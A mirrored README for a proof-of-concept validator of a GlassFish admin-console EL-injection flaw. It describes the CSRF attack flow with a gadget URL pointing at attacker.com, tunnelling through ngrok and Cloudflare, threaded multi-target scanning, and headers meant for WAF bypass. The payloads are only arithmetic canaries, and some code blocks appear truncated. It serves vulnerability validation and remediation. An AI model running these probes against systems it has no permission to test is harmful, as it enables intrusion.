Share
## https://sploitus.com/exploit?id=27AB4091-5F44-5A52-AA96-3CD9317679E1
# CVE-2026-2587 β GlassFish EL Injection RCE
> **Assigned by:** Eclipse Foundation (CNA) Β· **Published:** May 19, 2026
> **CVSS:** `9.6 Critical` Β· `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`
> **CWE:** CWE-917 β Expression Language Injection
> **Affected:** Eclipse GlassFish ` **Fix:** Upgrade to GlassFish `>= 7.1.0`
---
## Table of Contents
- [Vulnerability Summary](#vulnerability-summary)
- [How It Works](#how-it-works)
- [Auth Requirements](#auth-requirements)
- [Setup](#setup)
- [Lab Environment (Docker)](#lab-environment-docker)
- [Usage β Single Target](#usage--single-target)
- [Localhost / Docker](#localhost--docker)
- [Credentials](#credentials)
- [Remote via ngrok](#remote-via-ngrok)
- [Remote via Cloudflare Tunnel](#remote-via-cloudflare-tunnel)
- [Pre-Hosted Static XML](#pre-hosted-static-xml)
- [Through Burp Suite Proxy](#through-burp-suite-proxy)
- [Unauthenticated Check Only](#unauthenticated-check-only)
- [Usage β Multiple Targets](#usage--multiple-targets)
- [Targets File Format](#targets-file-format)
- [Parallel Scanning](#parallel-scanning)
- [Output Formats](#output-formats)
- [Console](#console)
- [CSV](#csv)
- [JSON](#json)
- [Combining Outputs](#combining-outputs)
- [Advanced Options](#advanced-options)
- [Custom Canary Values](#custom-canary-values)
- [Custom Headers](#custom-headers)
- [Test Cases](#test-cases)
- [Output Interpretation](#output-interpretation)
- [Manual Verification](#manual-verification)
- [Remediation](#remediation)
- [References](#references)
- [Disclaimer](#disclaimer)
---
## Vulnerability Summary
A critical Remote Code Execution vulnerability exists in the **GlassFish admin console gadget handler**. The application processes `.xml` files fetched from a URL supplied via the `gadget=` query parameter and evaluates user-supplied values inside `` attributes through the **Java Expression Language (EL) engine without sanitisation or escaping**.
```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
```
If the XML contains `#{7*7}` in a `` attribute, GlassFish evaluates it server-side and returns `49` β confirming EL execution. A full RCE chain follows via EL's access to the Java runtime.
---
## How It Works
```
Attacker Victim Browser GlassFish Server
β β β
β hosts malicious XML βββββββΌβββββββββββββββββββββββββββ€
β β β
β sends CSRF page βββββββββββΆ β
β (email / link) βββ loads CSRF page β
β β iframe fires: β
β β GET /gadgets/gadget.jsf β
β β ?gadget=http://atk/x.xmlβ
β β βββ fetches x.xml βββΆ Attacker
β β βββ returns XML βββββ
β β β
β β β #{expr} evaluated
β β β in ModulePrefs β
β β β RCE
```
**Injection point confirmed vs. not:**
```xml
```
---
## Auth Requirements
| Scenario | Auth needed? |
|---|---|
| Direct hit to `gadget.jsf` | Yes β FORM auth, 200 login page |
| Real-world CSRF attack | No β weaponises admin's live session |
| This validator | Yes β `--cookie` or `--username`/`--password` |
| Unauthenticated exposure check | No β script tests this automatically |
The CVSS vector `PR:N / UI:R` means:
- `PR:N` β attacker needs **no credentials of their own**
- `UI:R` β a logged-in admin must interact (CSRF delivery)
For lab validation, skip CSRF entirely β use your own admin session directly.
---
## Setup
**Requirements:** Python 3.9+ Β· `requests`
```bash
git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC
cd CVE-2026-2587-Exploit-POC
pip install requests
# optional for coloured terminal output:
pip install colorama
```
**Repo contents:**
```
CVE-2026-2587-Exploit-POC/
βββ cve_2026_2587_validate.py β main script
βββ probe.xml β ready-to-host static probe XML
βββ targets.txt.example β multi-target file template
βββ README.md
```
---
## Lab Environment (Docker)
> **Caveat:** GHSA still lists affected and patched versions as unknown.
> `omnifish/glassfish:7.0.15` is a strong lab candidate β not a guaranteed vulnerable build.
> The validation primitive remains the arithmetic canary: if `#{7*7}` evaluates to `49`, EL is active.
### Option A β docker compose (recommended)
```bash
# from the repo root
docker compose -f docker-compose.lab.yml up
```
Brings up GlassFish 7.0.15 with ports bound to `127.0.0.1` only and
`host.docker.internal` pre-wired so the container can reach your local XML server.
### Option B β bare docker run
```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
```
Admin console: `https://localhost:4848` Β· Login: `admin` / `admin`
(Self-signed cert β browser warning is expected.)
---
### Serve the benign probe XML
In a second terminal:
```bash
# The repo ships with probe.xml β serve it directly:
python3 -m http.server 8000 --bind 0.0.0.0
```
Verify reachability from the container's perspective:
```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
```
---
### Manual trigger
Log into the admin console first (browser session or `--cookie`), then:
```bash
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml" \
| grep -oE 'CVE2587_(TITLE|BODY)_[^" The CDATA body typically stays raw even on vulnerable builds; a positive `TITLE` result alone is sufficient to confirm the finding.
---
### Automated validation against the local lab
```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
```
---
## Generating a Probe XML
The repo ships with `probe.xml` ready to use. You can also generate a fresh one at any time β useful when you want a custom canary prefix or randomised values so the probe is unique per engagement.
```bash
# Generate with default values (CVE2587 prefix, #{7*7})
python3 cve_2026_2587_validate.py --generate-xml probe.xml
# Generate with custom prefix and operands
python3 cve_2026_2587_validate.py \
--generate-xml probe.xml \
--prefix MYTEST --left 13 --right 17
# Print to stdout (pipe to a server, gist, etc.)
python3 cve_2026_2587_validate.py --generate-xml -
# Generate with random values (different every run)
python3 cve_2026_2587_validate.py \
--generate-xml probe_$(date +%s).xml \
--prefix SCAN$(date +%s) --left 31 --right 127
```
Output after writing to a file:
```
[+] probe XML written β probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
```
---
## Usage β Single Target
### Localhost / Docker
Use when GlassFish is running locally or in Docker on the same machine.
Grab your `JSESSIONID` from browser DevTools β Application β Cookies while logged into the admin console, then:
```bash
# Docker β GlassFish in container, script on host
python3 cve_2026_2587_validate.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure --verbose
# Localhost (no Docker)
python3 cve_2026_2587_validate.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://127.0.0.1:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
> `host.docker.internal` resolves to the host machine from inside Docker.
> The GlassFish container fetches your probe XML via this address.
---
### Credentials
```bash
python3 cve_2026_2587_validate.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
```
> If form login fails, the script falls through and tries the endpoint anyway.
> If that also fails, it prints step-by-step instructions to get a session cookie.
---
### Remote via ngrok
Use when the target server needs to reach your machine over the internet.
**Step 1 β Install ngrok:**
```bash
# macOS
brew install ngrok
# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok
```
**Step 2 β Expose your local server:**
```bash
# Terminal 1
ngrok http 8000
# β Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000
```
**Step 3 β Run the validator:**
```bash
# Terminal 2
python3 cve_2026_2587_validate.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
> Replace `abc123.ngrok-free.app` with your actual ngrok URL.
> The script starts its own XML server on `:8000`; ngrok forwards from the internet to it.
---
### Remote via Cloudflare Tunnel
No account required for a quick tunnel.
**Step 1 β Install cloudflared:**
```bash
# macOS
brew install cloudflared
# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
```
**Step 2 β Start tunnel:**
```bash
# Terminal 1
cloudflared tunnel --url http://localhost:8000
# β https://random-words.trycloudflare.com
```
**Step 3 β Run the validator:**
```bash
# Terminal 2
python3 cve_2026_2587_validate.py \
--base https://REMOTE_TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url https://random-words.trycloudflare.com \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
---
### Pre-Hosted Static XML
Use when you cannot run a local server (VPS, any web server, GitHub raw, interactsh).
The `--xml-url` flag bypasses the built-in server entirely.
**Option A β use the `probe.xml` already in this repo:**
```bash
# Hosted on GitHub raw (no server needed)
python3 cve_2026_2587_validate.py \
--base https://TARGET:4848 \
--xml-url https://raw.githubusercontent.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC/main/probe.xml \
--prefix CVE2587 --left 7 --right 7 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
**Option B β generate a fresh probe XML, then host it:**
```bash
# Step 1 β generate
python3 cve_2026_2587_validate.py --generate-xml probe.xml
# Step 2 β host it (pick one)
python3 -m http.server 8000 # local, then expose via ngrok
scp probe.xml user@YOUR_VPS:/var/www/ # VPS
# Step 3 β run (use the --prefix/--left/--right from the generate output)
python3 cve_2026_2587_validate.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/probe.xml \
--prefix CVE2587 --left 7 --right 7 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
> `--prefix`, `--left`, `--right` must match the values inside your hosted XML file
> so the script knows which evaluated token to look for in the response.
---
### Through Burp Suite Proxy
Route all traffic through Burp for inspection, modification, and logging.
```bash
python3 cve_2026_2587_validate.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--proxy http://127.0.0.1:8080 \
--insecure --verbose
```
> `--insecure` is required when Burp is intercepting TLS.
> All requests β login, gadget probe, XML fetch β appear in Burp's HTTP history.
---
### Unauthenticated Check Only
Test whether the endpoint is accidentally exposed without auth before doing
a full authenticated scan. Exits immediately after Phase 1.
```bash
python3 cve_2026_2587_validate.py \
--base https://TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://YOUR_IP:8000 \
--check-unauth-only --insecure
```
---
## Usage β Multiple Targets
### Targets File Format
The repo includes `targets.txt.example` as a template. Copy and edit it:
```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers
```
Format β one target per line, lines starting with `#` and blank lines ignored,
per-target credentials override the global `--username`/`--password`:
```
# targets.txt
# format: URL
https://server1:4848
# format: URL username password
https://server2:4848 admin password123
https://server3:4848 ops secret99
# format: URL username:password
https://server4:4848 admin:admin
# commented-out targets are skipped
# https://server5:4848
```
Run against all targets:
```bash
python3 cve_2026_2587_validate.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--username admin --password admin \
--insecure \
--csv results.csv
```
> Global `--username`/`--password` applies to targets with no per-line creds.
> Per-line creds take priority over globals.
---
### Parallel Scanning
Use `--threads` to scan multiple targets concurrently.
The built-in XML server is shared across all threads.
```bash
# Scan 10 targets at once
python3 cve_2026_2587_validate.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--username admin --password admin \
--threads 10 \
--insecure \
--csv results.csv --json
```
> Recommended thread counts:
> - Local lab: up to `10`
> - Remote targets over internet: `3β5` (respect rate limits)
> - Single target: `1` (default)
---
## Output Formats
### Console
Default human-readable output. Add `--verbose` to see per-test-case results.
```
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Target : https://localhost:4848
Server : Eclipse GlassFish 7.0.15
[+] VULNERABLE β 9/10 test cases confirmed
[+] TC-01 Basic multiply #{7*7} β 49
[+] TC-02 Addition #{1337+2587} β 3924
[+] TC-03 Large multiply #{31337*271} β 8492327
...
Fix: upgrade to GlassFish >= 7.1.0
```
Multi-target summary:
```
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SCAN SUMMARY β 4 target(s)
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Vulnerable : 2
Not vulnerable : 1
Auth required : 1
Error / other : 0
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
---
### CSV
```bash
# Write to file
--csv results.csv
# Write to stdout (pipe-friendly)
--csv -
```
CSV columns:
| Column | Description |
|---|---|
| `target` | Target URL |
| `timestamp` | UTC ISO-8601 scan time |
| `verdict` | `VULNERABLE` / `NOT_VULNERABLE` / `AUTH_REQUIRED` / `VULNERABLE_UNAUTH` / `ERROR` |
| `vulnerable_count` | Number of test cases that confirmed EL evaluation |
| `total_tests` | Total test cases run |
| `unauth_exposed` | `YES` if endpoint responded without auth |
| `active_endpoint` | Endpoint URL that was used for testing |
| `server_header` | `Server:` header from GlassFish |
| `TC-01` β¦ `TC-10` | Per-test result: `VULNERABLE` / `NOT_VULNERABLE` / `INCONCLUSIVE` / `SKIPPED` |
| `notes` | Error message if scan failed |
**Example rows:**
```csv
target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,TC-01 Basic multiply,...,notes
https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,VULNERABLE,...,
https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.1.0,NOT_VULNERABLE,...,
https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,0,no,,,,Session rejected or cookie expired
```
---
### JSON
```bash
--json
```
Single target:
```json
{
"active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf",
"server_header": "Eclipse GlassFish 7.0.15",
"target": "https://localhost:4848",
"timestamp": "2026-05-21T10:00:00+00:00",
"verdict": "VULNERABLE",
"vulnerable_count": 9,
"total_tests": 10,
"unauth_result": "AUTH_REQUIRED",
"tc_results": [
{"name": "TC-01 Basic multiply", "expr": "#{7*7}",
"expects": "49", "status": "VULNERABLE"},
{"name": "TC-02 Addition", "expr": "#{1337+2587}",
"expects": "3924", "status": "VULNERABLE"}
]
}
```
Multiple targets returns a JSON array.
---
### Combining Outputs
All output formats are independent β combine freely:
```bash
# Console + CSV + JSON simultaneously
python3 cve_2026_2587_validate.py \
--targets-file targets.txt \
--listen 0.0.0.0:8000 \
--callback-url https://abc123.ngrok-free.app \
--username admin --password admin \
--threads 5 --insecure --verbose \
--csv results.csv \
--json > results.json
```
---
## Advanced Options
### Custom Canary Values
Match the validator to a hand-crafted XML using `--prefix`, `--left`, `--right`.
Required when using `--xml-url` with your own hosted file.
```bash
# Matches:
# Expects: MYTEST_TITLE_221_END in response
python3 cve_2026_2587_validate.py \
--base https://TARGET:4848 \
--xml-url http://YOUR_SERVER/custom.xml \
--prefix MYTEST --left 13 --right 17 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--insecure
```
---
### Custom Headers
Add arbitrary headers β useful for WAF bypass, load balancer routing, or
testing behind a reverse proxy.
```bash
python3 cve_2026_2587_validate.py \
--base https://TARGET:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://YOUR_IP:8000 \
--cookie "JSESSIONID=YOUR_SESSION_ID" \
--header "X-Forwarded-For: 127.0.0.1" \
--header "X-Original-URL: /common/gadgets/gadget.jsf" \
--header "X-Custom-Header: value" \
--proxy http://127.0.0.1:8080 \
--insecure
```
---
## Test Cases
The validator runs 10 distinct EL probes, each confirming a different capability:
| # | Payload | Expected | What it proves |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Baseline arithmetic canary |
| TC-02 | `#{1337+2587}` | `3924` | Addition operator |
| TC-03 | `#{31337*271}` | `8492327` | Collision-resistant large multiply |
| TC-04 | `#{9999-1337}` | `8662` | Subtraction operator |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Nested parentheses / operator precedence |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Conditional / ternary β control flow executes |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | String method access |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Chained method calls |
| TC-09 | `#{17 mod 5}` | `2` | EL keyword operator |
| TC-10 | `#{100*100}` | `10000` | Additional arithmetic confirmation |
TC-06, TC-07, and TC-08 are the most significant β passing those means the EL engine executes **string API methods and conditional logic**, the direct precursor to the full RCE chain.
---
## Output Interpretation
| Status | Meaning |
|---|---|
| `VULNERABLE` | EL expression evaluated β instance confirmed affected |
| `VULNERABLE_UNAUTH` | Endpoint exposed without auth β worse than base CVE |
| `NOT_VULNERABLE` | Expression reflected literally β EL not evaluated |
| `AUTH_REQUIRED` | Endpoint returned login page β check cookie or credentials |
| `INCONCLUSIVE` | Response received but canary not found β see below |
| `ERROR` | Request failed β network / TLS issue |
**INCONCLUSIVE troubleshooting:**
| Symptom | Cause | Fix |
|---|---|---|
| `XML hits: 0` | GlassFish never fetched your XML | `--callback-url` not reachable from the target |
| `XML hits: 1+` but no match | EL evaluated but wrong field | Expected for CDATA content |
| Auth redirect mid-run | Session expired | Grab a fresh `JSESSIONID` from browser |
| Login POST redirects to `j_security_check` | Wrong password | Use `--cookie` instead |
---
## Manual Verification
No Python required:
```bash
# Step 1 β create probe XML
mkdir probe && cat > probe/probe.xml
EOF
# Step 2 β serve it
python3 -m http.server 8000 --directory probe &
# Step 3 β hit the endpoint with your session cookie
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
| grep -oE 'PROBE_[^"= 7.1.0` β fix boundary per Eclipse CVE tracking |
| **Disable gadget handler** | Block `/common/gadgets/gadget.jsf` at WAF/firewall if unused |
| **Firewall admin console** | Restrict port `4848` to trusted IPs only |
| **CSRF protections** | Ensure `SameSite` cookie attribute on admin sessions |
| **WAF rule** | Block `#{` and `${` in XML bodies reaching the gadget endpoint |
---
## References
| Resource | Link |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-2587 |
| GitHub Advisory (GHSA) | https://github.com/advisories/GHSA-29wv-cv7p-xjc2 |
| Eclipse CVE Tracking | https://gitlab.eclipse.org/security/cve-assignment/-/issues/86 |
| Eclipse GlassFish Source | https://github.com/eclipse-ee4j/glassfish |
| CWE-917 | https://cwe.mitre.org/data/definitions/917.html |
| Reporter | Camilo G. (DeepSecurity PerΓΊ) β [@SeguridadBlanca](https://x.com/SeguridadBlanca) |
---
## Disclaimer
This repository is for **authorised security testing and research only**.
- Run this tool only on systems you own or have **explicit written permission** to test
- The validator performs **benign EL evaluation only** β no command execution, no reverse shell, no file upload, no persistence
- The author assumes no liability for misuse
- Responsible disclosure was followed β reported December 2025, patched May 2026
**Repo layout:**
```
CVE-2026-2587-Exploit-POC/
βββ cve_2026_2587_validate.py β validator script
βββ probe.xml β ready-to-host static probe XML (#{7*7} canary)
βββ targets.txt.example β multi-target file template
βββ README.md
```
---
github.com/Bhanunamikaze